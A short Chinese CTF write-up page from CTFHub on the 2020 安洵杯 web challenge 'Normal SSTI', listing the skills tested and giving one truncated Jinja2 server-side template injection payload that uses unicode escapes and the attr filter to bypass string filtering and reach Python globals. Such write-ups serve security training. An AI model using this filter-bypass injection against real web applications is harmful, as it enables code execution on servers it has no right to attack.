

Normal SSTI

发表于 2021-01-15 分类于 [Challenge](#) , [2020](#) , [安洵杯](#) , [Web](#)
[Challenge | 2020 | 安洵杯 | Web | Normal SSTI](#)

[点击此处](#) 获得更好的阅读体验

WriteUp来源

<https://xz.aliyun.com/t/8581>

题目考点

- SSTI
- SSTI 绕过姿势汇总 (unicode绕过是一种网上没提出的方法)

解题思路

题目主要考察了几个知识点:

- 没有{}情况下如何构造回显
- 如何绕过字符串过滤
- 过滤器的熟悉程度

直接放payload吧, 很简单的一道题, 理解了就懂了:

```
1 /test?url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u00
```

Flag

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2020/安洵杯/Web/sUDs7jxVEiCN4tzF93rEmu.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

#Challenge #2020 #Web #安洵杯

[Web-Bash-Vin0f0f0](#)

[密码学?爆破就行了](#)